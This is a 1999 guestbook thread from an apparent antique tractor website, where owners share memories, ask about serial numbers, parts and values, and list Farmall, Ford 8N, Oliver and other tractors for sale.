arlen wahl wrote on Monday, June 28, 1999 (PDT):we have one, bought it in 1973 in north dakota. used it for 20 years. pulled 4 16" breaking sod used 2 gals per hour. starting motor not working, pulled to start only went 10 ft, was running. we pulled out a jd "a" with a loader on it.the tractor and loader had been in the mud for 2 weeks, the 80 dragged it out with little effort, after not being used for several years to any extent. it is a joy to listen it run. the front end bounces with every pop. it is not for sale too many great memories attached.
Brian wrote on Monday, June 28, 1999 (PDT):My family has a 1949 Farmall Cub that has been sitting for more than a year. After finally getting it started, it seemed to smoke quite a bit (more than I remember.) Does this sound like a ring problem?
Paul Stanley wrote on Sunday, June 27, 1999 (PDT):I got my Oliver Super 55 about a year and a half ago. It's a diesel model. I plan on restoring it later, but for right now I am using it around my property to move material. I have a back blade and a 3 point scoop for it. I will need to do some work on the steering and brakes soon! I read a lot about old tractors and for some reason fell in love with Olivers. I was looking in Washington State, but was lucky to find one here in British Columbia.
Jack McCabe wrote on Sunday, June 27, 1999 (PDT):HAVE VAI for sale
Brent wrote on Saturday, June 26, 1999 (PDT):I have a 1949 Farmall Cub and I am considering putting an electric water pump on it for a little better cooling. All I use it for is just to take to shows and drive in parades. If anyone has tried this then please email me with the results. Thanks
emily benham (for son, Lee Benham) wrote on Saturday, June 26, 1999 (PDT):My son says, "I have a 1946 Farmall M gasoline. I converted it from the propane model. Modified the govenor to achieve more RPM's, have redone the head by milling, flowing, and 3-angle valve grind. It is producing 10.5/1 compression. I have widened the rims myself and now have 16.9/38's and enjoy outpulling John Deere tractors in its horsepower range. We have an antique tractor pull in the South Texas area. Anyone can do this type of modifying and have a great time! Lee Benham
a dotson wrote on Friday, June 25, 1999 (PDT): I have 1052 G allis chalmers in good shape, used it this year for the fist time and would like to know more about. all so have the manual that came with this tractor
a dotson wrote on Friday, June 25, 1999 (PDT): I have 1052 G allis chalmers in good shape, used it this year for the fist time and would like to know more about. all so have the manual that came with this tractor
Andrew Steffl wrote on Friday, June 25, 1999 (PDT):I logged hundreds, if not thousands of hours on a MM G-705 pulling either a 5-bottom plow, a 16 ft. chisel plow, a 30 foot field cultivator, or a 35 foot harrow during the 1970's. My information is strickly from memories of about 25 years ago, so I can't assure complete accuracy. The G-705 was identical to the G-706, minus the mechanical front wheel assist. I believe these tractors had a 504 cu. in. in line 6 cyl. engine that produced 101 horsepower at about 1600 RPM. It was a very heavy tractor (with fluid in the tires and 1000 lb weights on each rear wheel). As I recall, the tractor had 5 speeds forward and 1 reverse, single hydraulics, and a "hand clutch" rather than a foot pedal. My father's G-705 had no P.T.O. The tractor was quite clumsy (in the area of manuverability) when compared to something like a JD 4020, but could outperform many tractors of comparable horsepower in heavy pulling jobs due to its weight and what must have been a lot of tourque developed by the engine. The MM G-705, a JD 820, and a "home-made" FWD tractor (we called it the "Yellow Monster"), with Farmall W-9 rear-ends and a salvaged 220 HP, 855 cu. in. Cummins Diesel 6-Cyl. were the primary work-horses on my father's farm until about 1970, when he purchased his first of many Versatile FWD tractors, a D-145.
Teri Ferguson wrote on Thursday, June 24, 1999 (PDT):What is the value of a Farmall M 1950 (?) dual wheel in the front (like trike wheels)
Daniel Witmer wrote on Thursday, June 24, 1999 (PDT):I have a cub. I have plow for it and I can't get the plow to stay in the ground.If anyone knows the answer to my problem do say so.
Robert E. Eby wrote on Tuesday, June 22, 1999 (PDT):I have a 1947 Farmall cub with a front blade, scycl bar, plow and disc set with lead weights FOR SALE. This tractor ran like a champ up til when it was stored 2 years ago. It is in great structural shape with good paint (RED). All attachments are complete. It won't start due to needing a carb. rebuild and magneto overhaul. I inhereted it about 15 years ago - no paperwork or owners manual. It has been converted to a 6 volt generator, battery and starter with lights. If your interested, $2,600.00 takes all. It is in Northern California. days; 415-476-2570, nights; 707-824-8050, BOB
Jim Call wrote on Tuesday, June 22, 1999 (PDT):Do you know who owns the tractor pictured? We have a nice original, made in 1923 just before the change to the "B" series.
mike anderson wrote on Monday, June 21, 1999 (PDT):i have recently purchased a ford 8n. it was mfg 9/24/47 and seems to be in great shape.i can't quite make out the serial # on the block any hints on bringing it out. also any help on the umbrella besides blue. what fun!
Don Myre wrote on Sunday, June 20, 1999 (PDT):I have a A.C.that every one says is a AC-CA.I have no idea of the age.It sure looks like the AC-B model in the picture.What do I have??
Harvey Grimsley wrote on Sunday, June 20, 1999 (PDT): I just baught a 1952 Cub I Paid 1800 for it and I know of cub that has been sitting for two years, the owner Passaway but can't get get it.
Terry Morley wrote on Sunday, June 20, 1999 (PDT): She'll go 5000 # without water on the tires, Unless you are a glutton for punishment and think you will move the wheels...... you'll need 8' wide, at lest 18' long longer is better. GOOD LUCK. Oh, if you don't block under the rear of the trailer, she'll lift the rear of the pickup when you back her on.
David wrote on Sunday, June 20, 1999 (PDT):Looking for the exhaust control valve for the lift kit. anyone out there with one? Interested in cultivators also.
mark paine wrote on Sunday, June 20, 1999 (PDT):i was doing some work on this developer's land and came across this ihc model 20. the owner said that i could have it if i hauled it off. makes very nice "yard art"
Ron Davids wrote on Friday, June 18, 1999 (PDT):I own a restored 1948 Case VAC (restored by my father about 8 years ago). I see no reference to the VAC. It looks very similar to the VC Model, so I assume it is a later version of the row-crop VC model. If you would like a picture, I would be glad to E-Mail one to you.I also have the original "Owners Manual" and "parts manual" along with the "Hydraulic Manual"-I imagine these are worth hanging on to - based on prices for Manuals. My Grandfather was the first Case dealer in Montana-back in the 1930's. You have a great web site-keep up the good work. Ron Davids Hoodsport,Wa. ofs at hctc.com
Greg Lindholm wrote on Thursday, June 17, 1999 (PDT):my brother is buying a farmall m, how wide is it so we know the size of trailer we need.
Mic Adams Holt, Fl. wrote on Wednesday, June 16, 1999 (PDT):Andrew,try yesterdays tractors using LYCOS web site they have many parts for 8N also other connecttions for manuals,engines,trans.,ect.
Gail Hackathorn wrote on Wednesday, June 16, 1999 (PDT):My father owns a B that he took the magneto off of. Said he would sell if anyone is interested.
john bowen wrote on Tuesday, June 15, 1999 (PDT):would like to know the firing order this tractor has hercules engine
mICHAEL wrote on Monday, June 14, 1999 (PDT):What is the value of 56 Cub with a belly mower that is in good shape and has been stored in a shop? Your info would be helpful. Also what attachments are available for it besides the mower? Michael
Redfan wrote on Sunday, June 13, 1999 (PDT):Have just picked up a 22-36 in fairly neglected state. Needs a lot of work. 2 questions, Did they all have the E4-A Magneto ? Was the Belt Pulley housing the same as the 15-30. It's a 1931 Model.
Duane Durand wrote on Saturday, June 12, 1999 (PDT):My father and I have restored between 35-40 9n,8n tractors.We've been enjoying restoring for 25 years.In that time I've learned a good deal about these great machines,not to mention finding a great friend in my Dad.I hope that all of you out there will find as much pleasure as we have!!If I can help anyone send E-Mail.Between my Dad and I I"m sure we answer a few questions. Thanks for this great site!!
Butch Cherrington wrote on Friday, June 11, 1999 (PDT):Barry, Your problem is most likely in the "traction booster" system. Make sure the upper lever is to the top of the quadrant. If this does not fix the lowering problem a linkage ajustment is in order.
Butch Cherrington wrote on Friday, June 11, 1999 (PDT):I own a model A. I am in need of set of sleeves. I have the 4 3/4" bore gasoline only engine. I also need an original magneto for it. I also have a complete 5" bore kerosine engine in running condition for sale. I believe it is from a model K. Has radiator, hood, fueltank and clutch.
ed mccain wrote on Thursday, June 10, 1999 (PDT):i have a 59 model super c but it does not look as good as these nice job.
Ralph wrote on Thursday, June 10, 1999 (PDT):I have a Farmall and Im looking for info. I took a serial number off the block it is F.A.B. 6482. If anyone can help to determine the year,I give thanks.
Bill Breeding North Fl. wrote on Thursday, June 10, 1999 (PDT):I own a AC-B which has a Fairbanks Morse Magneto Type FM which is all in one piece and I need a shop manual on it, and I also need a parts suppler. My tractor is down now for this and I need to get it up so I can work my garden the weeds are takeing over, HELP
pete wrote on Wednesday, June 09, 1999 (PDT):I have a AC-B Looking for information on the fairbanks morse mag. system. it,s all complete need to know where i could finds parts for it,thanks.
peter wrote on Wednesday, June 09, 1999 (PDT):i agree with sam. even though i don't like tractors i think the wheels should be orange (or at least 3 of them anyway!) and i think you should fit a nitro injector.
Blake Miller wrote on Tuesday, June 08, 1999 (PDT):My neighbor just bought a B. Took him a little work, but he got it running. Brought it around on its "maiden voyage" yesterday. As to the question about the ID#, he found his stamped into the frame just in front of the seat.
david wrote on Tuesday, June 08, 1999 (PDT):I want to buy a CUB with attachments. Southside, Virginia
Lars G. Garenstad wrote on Monday, June 07, 1999 (PDT):Want to buy Farmall Cub! Triad area of NC.
Albert Remijn wrote on Monday, June 07, 1999 (PDT):My frend has a Farmall MD (who starts on gasolin)from 1944. Because the engine needs an overhaul,he likes to know if he can reform him to a Super MD at the same time.Anyone who can tell me if this is possible and how to do it? We are living in Brazil,so we don't have much parts available! Thanks for your comments, Harry Oomen and Albert Remijn.
paul wrote on Saturday, June 05, 1999 (PDT):I see a 97 at the local consignment sale every few months. It has a cab and very little paint & either doesn't run or barely runs.... Never seems to reach it's reserve price, located in Sleepy Eye, MN. --->Paul
Ronnie wrote on Saturday, June 05, 1999 (PDT):I have three SMD's and two SMD's with TA the first shift on the go without clucthing. The first super did not have live hydralics or seal beam lights.
J. N. Turner wrote on Saturday, June 05, 1999 (PDT):I have a Farmall B and am unsure of the year. How can I find out the year? Probably for sale. 12 volt, have 6 volt parts. 75% rubber rear, new front, recent paint. Value?
Stu Struna wrote on Saturday, June 05, 1999 (PDT):Turn a farmall into pulling tractor. When i was a kid our hired hand built on fast puller out of an M. Go to to following address and see my drawing of Farmall M, C, and H. www.duartwork.com
Stu Struna wrote on Saturday, June 05, 1999 (PDT):Turn a farmall into pulling tractor. When i was a kid our hired hand built on fast puller out of an M. Go to to following address and see my drawing of Farmall M, C, and H. www.duartwork.com
Don Stevens wrote on Saturday, June 05, 1999 (PDT):Does anyone know of a pull-behind mower similar to a "bush Hog" or "brush Hog" that has the PTO offset to the left as on a CUB. I have a flail mower and have access to a sickle bar, but am interested in finding one I can pull behind my CUB. Thanks Don
raymond schuchard wrote on Saturday, June 05, 1999 (PDT):i have a 1952 farmall cub thats in great shape i would like to no how mouch its wearth ?
raymond schuchard wrote on Saturday, June 05, 1999 (PDT):i have a 1952 farmall cub thats in great shape i would like to no how mouch its wearth ?
raymond schuchard wrote on Saturday, June 05, 1999 (PDT):i have a 1952 farmall cub thats in great shape i would like to no how mouch its wearth ?
chris steffani wrote on Friday, June 04, 1999 (PDT):Does anyone know if a 52 ford 8n has an auxilary hydralic ouput capability?
LESTER BRUBAKER wrote on Thursday, June 03, 1999 (PDT):IN THE EARLY FORTIES MY FATHER OSCAR BRUBAKER PURCHASED A FARMALL REGULAR WITH STEEL WHEELS TO USE ON THE FARM WHICH WE RENTED. PAYMENT OF RENT WAS EFFECTED BY GIVING HALF OF THE CROPS TO THE LANDLORD SO TIMES WERE HARD . WE HAD A MOWER WHICH MOUNTED ON THE REAR DRAWBAR OF THE TRACTOR AS WELL AS A CORN CULTIVATOR WHICH MOUNTED ON THE REGULAR. AS I REMEMBER THE TRACTOR COULD BURN EITHER GASOLINE OR KEROSENE AS FUEL. IT PULLED A PAIR OF LITTLE GENIUS 14 INCH PLOWS IN SECOND AND THIRD GEAR DEPENDING ON THE CONDITION AND TYPE OF SOIL IN THE FIELD. WE ALSO PULLED A THREE GANG SPRING TOOTH HARROW WITH A PLANK DRAG TO LEVEL THE PLOUGHED GROUND. WHEN A THREE LAND HIGHWAY CUT OUR FARMLAND IN HALF WE HAD TO MOUNT THE TRACTOR WITH RUBBER TIRES 12 BY 36 ON THE REAR AND AUTOMOBILE STYLE ON THE FRONT. AFTER AN OVERHAUL JOB DURING WHICH THE MECHANIC FAILED TO PLACE COTTER PINS IN THE BOLTS OF THE PISTON RODS ONE OF THE PISTONS CAME LOOSE AND EXPLODED OUT OF THE SIDE OF THE ENGINE HOUSING. WE WERE ABLE TO WELD THE HOUSING AND GET THE TRACTOR RUNNING AGAIN. EVENTUALLY, IN THE LATE FORTIES WE TRADED UP TO A NEW FARMALL H FOR A MORE MODERN TRACTOR.
roger wrote on Sunday, May 30, 1999 (PDT):I have a HOTLINE FARM EQUIPMENT GUIDE that lists the weight of the B as 2,014.
mlp wrote on Saturday, May 29, 1999 (PDT):I have found one of these tractors at a salvage yard and it needs a lot of work and parts. The owner said he would take 700 for the tractor just like it is with no promises. He bought the tractor from a lady who's husband was using the tractor and it just quit several years ago and they never tried to start the tractor again. I have heared the parts are high and can be hard to get locally in central Mississippi. I have also heard the tractor is not easy to start and the timing has to be set just perfect. The tractor needs fenders and a starter are these hard to find? Please e-mail me with any information you have.
GARY HOWARD wrote on Wednesday, May 26, 1999 (PDT):I WAS WONDERING IF ANY ONE WOULD KNOW WHERE A CUB MIGHT BE FOR SALE AROUND THE TERRE HAUTE IN. AREA? OR ANY WHERE ELSE FOR THAT MATTER. THANKS.
Dave wrote on Wednesday, May 26, 1999 (PDT):I am searching for a wide front end for a 230 c , SUPER C Need to get tractor repaired for farming. Also looking for a starter for OC3 Oliver.
Dave Duttry wrote on Wednesday, May 26, 1999 (PDT):I am searching for a wide front end for a 230 c , SUPER C Need to get tractor repaired for farming. Also looking for a starter for OC3 Oliver.
Roger Baker wrote on Tuesday, May 25, 1999 (PDT):I have just purchased an 8n with the six cylinder engine. How can I tell if it's a Funk or a Glover conversion? Also, how can I tell the year of the tractor with the motor changed?
Clark wrote on Monday, May 24, 1999 (PDT):Does anyone know the weight of a "B" Farmall?
Rick Cline wrote on Monday, May 24, 1999 (PDT):I recently purchased an 8N in very good condition, still in it's original 6-volt configuration. The serial number, as best as I can determine, is NJ279 8N D. Does anyone know how to tell the manufactured date of this model?
Randy Carlson wrote on Sunday, May 23, 1999 (PDT):I good sorce of info on the cub can be found at www.atis.net/cub_faq.html
franklin flowers wrote on Sunday, May 23, 1999 (PDT):wanting info. on upgrades for the 8N
Eugene E. Conn wrote on Friday, May 21, 1999 (PDT):I have what I think is a 1939 Farmall cub. I would like to know where I can obtain parts for this tractor it was left to me by my father.
John Follasa wrote on Thursday, May 20, 1999 (PDT):Was this model produced into the early 1950's and known as the "Jumpin Johnny"? I recall driving one in Ohio (where I grew up. If you popped the clutch the front end would jump up, hence the name.
Jake wrote on Thursday, May 20, 1999 (PDT):I recently bought a 8N, I was on the internet wondering if I could find parts, and then I found this web sight! It has been a great help. I restore old Chevrolets and there is quite a lot of reproduction parts for them, but I didn't now there was this much for old tractors. Well, I guess I know now and I'm sure I'll be ordering many parts from you in the future! THANKS
B Colles wrote on Wednesday, May 19, 1999 (PDT): Looking for rear and front tires for a 46 G any ideals
Frank Boedeker wrote on Wednesday, May 19, 1999 (PDT):My dad also had a Z, the picture is not the Z we owned on the farm in northeast Iowa. at about age 8, my dad asked me to fill it with oil---I poured about 5 to 7 qts down the air breather. Needless to say it wouldn't start. My rearend did hurt for a while!
MATT PETEREIN wrote on Tuesday, May 18, 1999 (PDT):HAVE RESTORED 1948 "G" S/N 471. WHAT IS IT'S VALUE ?
bret birdsong wrote on Sunday, May 16, 1999 (PDT):I have a disk-plow for a M or H. Anyone interested,or have photos,or info, please contact me.
Don Glenn wrote on Sunday, May 16, 1999 (PDT):How do I convert an M from 6 volt +ground to 12 volt -ground? Any help would be appreciated.
bob tj wrote on Saturday, May 15, 1999 (PDT):I have 8n tractor, I have a rake that needs the teeth or fingers, but I don't know where I can get them. If anybody knows where I could maybe find them and other parts please help me
Aaron Brown wrote on Friday, May 14, 1999 (PDT):MASSEY 97'S ARE EQUAL TO MINNEAPOLIS-MOLINE G-705'S . THEY WERE POWERED BY A 504 CI M-M ENGINE.RATED WITH 100 PTO HORSE POWER. BOTH TRACTORS HAVE A FIVE SPEED TRANS AND A HAND CLUTCH. BOTH MADE FROM 1961 TO 1963 . I JUST SO HAPPEN TO HAVE A 97 I'M THING OF SELLING.
John wrote on Thursday, May 13, 1999 (PDT):This is for Rebel, I have a BN block. Call JP Tractor Salvage 573-783-7055 ask for John Jr.
John Hargis wrote on Thursday, May 13, 1999 (PDT):We have a salvage yard in Mo. Please give us a call if you need any older IH parts from 1939 to middle 70's Please call at 5737837055 ask for John Jr
Carmen & Bruce wrote on Wednesday, May 12, 1999 (PDT):Hi. We currently own a 1940 Oliver 60. When our farm was started in the early 40's this was the first tractor to run the farm. This particular Oliver has a lot of sentimental value. We are in the process of restoring it and are have a few complications with the details. If anyone out there is reading this and can help - please do! Our only problem with finishing the restoration of our tractor is the color scheme. I have had many people reply but no good hard evidence to back it up. I need to know what the detail color of the 1940 Oliver 60 are. The strips on the front of the grill to the color of the dash board. The Oliver 60 was made from 1940 to 1949. The colors changed a little each year. If any one knows what the ORIGINAL color of the first ever made Oliver 60 please advise!
Jerome Wichert wrote on Tuesday, May 11, 1999 (PDT):I have restored one just like this and am curious what it is worth.
Ivan Crain wrote on Tuesday, May 11, 1999 (PDT): First, I do not want my address given out! We owned an Oliver 60 in the late 40's and 50's. I don't know much technical about it or anybody else that owned one in that area. It was a very powerful little tractor for its size and held up good. We had it for a second tractor and used it quite extensively. I was 14 at the time and Dad bought it for me to use in the feild as by older brother was using an F-20 Farmall at this time which was our main tractor. The little Oliver was a little light in the front end and would rare under a heavy load going up a steep hill and one leaned to be aware of this quickly. We were pulling a hayrack & loader, loading loose hay one day and started up this steep grade when I had to shift down and when I let the clutch out, I think I looked the sun right the eye at high noon. I can still here my Dad yelling hit the clutch, the clutch which I did and thankfully it came back down on its wheel. That was the only drawback that I remember, otherwise a very good little machine. Outs didn't have a road gear or lights. I have one now that came equipped with those but will need extensive restoring, but the tin wear is in very good shape. I've never heard it run but the fellow who sold it to me said he was only the second owner and all he used for was pulling wagons and the man before him had only a small acreage so there should be no bad damage to it. I've just recently retired from Ford Motor Co. so haven't done a lot to it yet. Have the motor out and the head rebuilt and some new parts. Will need two or three push rods and perhaps a different camshaft as three valves were stuck and it appears that it was run that way some. My brother and I got into a little trouble while using these tractors as brothers some times do. We should have been supervised a little closer by Dad. Ha! Will close for now.
Margot wrote on Monday, May 10, 1999 (PDT):I have a 1947 Cub which needs to have a face lift. (I do to!) I haven't been able to find out the correct color red. PLEASE.....if you have that information, send me the information. Thank you!!!!!!
Philip Moore wrote on Sunday, May 09, 1999 (PDT):I have a Farmall very similar to the one pictured. The rear tires are not as tall and it says "Farmall" in Chrome metal letters on the side of the hood. It also has live hydraulics built into it, under the gas tank. I have the belly mounted cultivator too. I took it off, and I am trying to get a sickle mower attached to the rear. I have the mower mounted, but I am missing some parts. I need to get the parts that connect the raise/lower mechanism to the hydraulic arms that are mounted underneath the gas tank. If anybody has or knows of some pictures that detail the mechanism, please post the address here. Thank you, Phil.
Rebel wrote on Sunday, May 09, 1999 (PDT):I just got a "BN" given to me as a house warming gift and I have a cracked block on it. I'm trying to find info on this tractor. I would like to know how to check the oil level on it and if "J B weld would work on fixing the block. It's cracked on the water jacket.
B.G. Pryor wrote on Sunday, May 09, 1999 (PDT):Do you have a power take off unit for the Allis Chameler G 1948 tractor? If so what is the cost and your location.
clark Kibler wrote on Friday, May 07, 1999 (PDT):I grew up in the orange groves of California and wonder if any Case DO models are still around. Have need to restore one now. Prettiest tractor made.
Bill wrote on Thursday, May 06, 1999 (PDT):I also own one, it's a AV. Some pictures of it are in Guy Fay's book- Farmall letter series tractors.
Kenneth L. Camp wrote on Wednesday, May 05, 1999 (PDT):I have a 420S John Deere early model. I would like some information to restore it. It has been garaged kept since 1956.
Ron Oestmann wrote on Sunday, May 02, 1999 (PDT):My uncle had the row crop version. I spend may hours on it. My father bought a 44D in the early 50's
Bob wrote on Sunday, May 02, 1999 (PDT):I'm getting ready to start my "bushel basket" CUB. It was converted to 12volt at some point,and I'm not sure if it should be a negative or posative ground? Does anyone have the answer for this "wanna-be" farmer/mechanic ? Thanks in advance for your help! Bob
Sam Rumade wrote on Sunday, May 02, 1999 (PDT): The co. I work for has a 40 dsl,wide front that has been used around the proprty to move wagons,etc.
mike miller wrote on Saturday, May 01, 1999 (PDT):i love this tractor.looks like a very well restored model. bye
Ernie Peterson wrote on Friday, April 30, 1999 (PDT):Are you sure the MM pictured is a 1937. My dad had a Z and a ZB. I don't know what year the Z was but the ZB was a 1955 our first brand new tractor. The tractor pictured looks more like the ZB because of the higher seat and the angle of the steering wheel. The Z had a seat that put you almost behind the rear wheels and the steering wheel was almst a streight line to the front.
Jerry Malone wrote on Wednesday, April 28, 1999 (PDT):I'm looking at an 8N for sale, and the oil pressure reads about 20 psi. Is this too low? Any information would be appreciated.
Bill Dunham wrote on Wednesday, April 28, 1999 (PDT):My father owned a 1929 Rumley Do All that we rebuilt. It had a 4 cylinder Waukeshaw engine. The same engine was used in the "International 6 speed special delivery truck". The tractor had a "Twin Disc" clutch and a 3 speed transmission. The drive wheels were flat about 12 inches wide with spade lugs. One version had a very wide stance on the rear wheels which made it very difficult to plow with.
Adrian Farragher wrote on Wednesday, April 28, 1999 (PDT):We've owned a tractor of this model for years and it has sentimental value. We do have one gripe however and it's to do with the hitch. After so many uses the tractor is not able to lift anything or else it will slowly slip to the ground after lifting. Is there a more permanent fix that anyone knows about?
Joe Smith wrote on Monday, April 26, 1999 (PDT):does anyone know how to find the serial number on a Farmall M that the data plate has been removed
Trevor Oester wrote on Saturday, April 24, 1999 (PDT):this is my grandpas Model T tractor. At the tractor show that it was at last year, i made an attempt to start it, and it would fire. My Grandpas name is William Oester. He owns the a Farmall mentioned on this page, and he also owns the Samson horse. I think that he would be very proud to know that all of his restorations on on the world wide web for millions to enjoy. If you need any further information on any of his tractors, I STRONGLY incourage you to contact me.
dennis jones wrote on Friday, April 23, 1999 (PDT):Aarnold Robbins of Wainfleet Ontario Canada has restored one of these.Its a beauty !
Hank Meyer wrote on Friday, April 23, 1999 (PDT):This M in the picture has a single wheel. I never saw one on an M before. We had a 1940 B Farmall Dad bought new that had just a single wheel
charles Napravnik wrote on Thursday, April 22, 1999 (PDT):I bought a 1948 Cub locally a week ago for$1850. That seemed a fair price for the previous three I'd looked at were selling for $2200, 2400, and 2800. I will probably restore it, at least partially, but I just bought it because I'm 62 now and had wanted one since I was a kid. It came with a blade on front and a sickle bar, but I'll use it probably for snow removal and pulling logs out of the woods. BUT I bought really because I wanted to have it. I've since found the men of the neighborhood walking round and round it muttering to themselves with jealousy. That's enough of a reason to have it.
Stanley Jaques wrote on Thursday, April 22, 1999 (PDT):I have a vistaG1000 tractor that I use on my farm and like it vary well. runs good and vary dependabal.
dennis jones wrote on Wednesday, April 21, 1999 (PDT):I own one .I'm trying to determine it's value .It's all there but needs restoring .
dennis jones wrote on Wednesday, April 21, 1999 (PDT):I have an 8N 6 cylinder funk conversion all original parts but needs restoring .someone told me it is quite rare and I don't have the time to restore it myself.Any ideas as to what it might be worth ? Your comments would be appreciated.
Terry Stefancik wrote on Sunday, April 18, 1999 (PDT): As a youngster I used to operate an "R" all day long. I really love those old tractors. You couldn't beat them for fuel efficiency, although the ride was a little rough and the hydraulic system needed updating.
dusty moran wrote on Saturday, April 17, 1999 (PDT):This tractor started on gas and then once warm switched over deisel , It had a carb. and a fuel injector
Lyle Creager wrote on Saturday, April 17, 1999 (PDT):I have one of the later B model tractors fully restored with new rear tires . If I chose to sell what is an average price range for this tractor?
KP wrote on Saturday, April 17, 1999 (PDT):Dale, the serial number for your 8N can be found on the left-hand side of the engine. It should start with an "8N". If it is an 8N that has had the engine swapped out with a 9N, the serial number may start with "9N". If your engine is dirty you might have to do a little cleaning to find the serial number.
Jules Lamontagne wrote on Saturday, April 17, 1999 (PDT):I own a 1925 Mc Cormick Deering 10 20 in runnig condition.
Bud Brent wrote on Saturday, April 17, 1999 (PDT):I own a farmall BN in fair-good condition, want to sell it, don't know the what to ask for her though. She runs good has good rubber.
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
Pete Conley wrote on Friday, April 16, 1999 (PDT):I just bought a farmall model m,if anyone can tell me anything about it, I would appreaciate it very much,
DALE DONOHUE wrote on Friday, April 16, 1999 (PDT):We purchased an 8N tractor and believe we found the serial # 2SHJ18, this was on the transmission. But I can not find this number anywhere. If someone can tell me if this is the serial #, or where I might find other indentification. We would like to know the year. Thank You
Rob wrote on Thursday, April 15, 1999 (PDT):What is the difference between a vac and vao? My vac looks identical to the vao picture.
Dave wrote on Thursday, April 15, 1999 (PDT):I think these tractors are not liked as much because of their size. I never liked them until I bought an LA. Once I sat on it I loved it. These tractors are easy to work on and have very little sheetmetal. The one downside is the serial tags often fall off since they put them right where your foot goes when you get on it.
Doug Burris wrote on Wednesday, April 14, 1999 (PDT):I own a MH 4wd GP. It is a 1937 model and has an overhead valve engine in it. The older series- 1930 -1935 had the flathead Hercules engine. It has been in our family since new. Can anyone tell me the builder of the overhead engine. Is it Hercules also, if so what is the engine model. My engine tag is gone. I am looking for a complete engine or engine block and a rad for my tractor.
Lincoln Keays wrote on Wednesday, April 14, 1999 (PDT):Yes I'm familiar with this tractor. My father's cousin owned a 1947 model and sold it to a neighbor of ours some time in the mid fifties. He worked it everyday almost until he passed away two years ago. The tractor, still working was sold off with the remainder of his assets, which included a 61 0r 62 Massey Ferguson.
Andrew Gazdecki wrote on Wednesday, April 14, 1999 (PDT):I just bought an 8N a few weeks ago. I believe it is a 1948 model, but I cannot read the serial number. Is there any other way to identify the year of manufacture of this tractor? Also, is there a web site that lists swap meets/auctions/old-time farm shows and the like? I would like to look around for parts (original type) for my 8N. Thanks.
Keith L. Symmes wrote on Monday, April 12, 1999 (PDT):I also have a DI and wondered how you chose the paint colors as mine is an industrial yellow now, but appears to have a dark red underneath. Mina also has a front bucket loader and I want to adapt a Hopto backhoe to it in place of the current counterweight.
Chuck Heck Aurora IN. wrote on Sunday, April 11, 1999 (PDT):My wife Sherri and I enjoy showing our narrow tread 1937 F-20.
Scott wrote on Friday, April 09, 1999 (PDT):Does anyone know the exact date of production or serial number that the hood decal on an M was changed from McCormick Deering/Farmall to McCormick Farmall?
Dave Herbeck wrote on Friday, April 09, 1999 (PDT):I own a tractor that looks just like this . It is a high ride and I was told it is a 1952 . The one thing is not the same is that my tractor , on the data plate , says " model FAA V (model FAA is printed and the V is stamped )and SN 334859 this would make me think this is a V model but I can't seem to find info on a V model . If someone out there could help me figure out what kind of tractor I own , for sure , it sure would make it easier to order parts and manuals . Thanks for any help .
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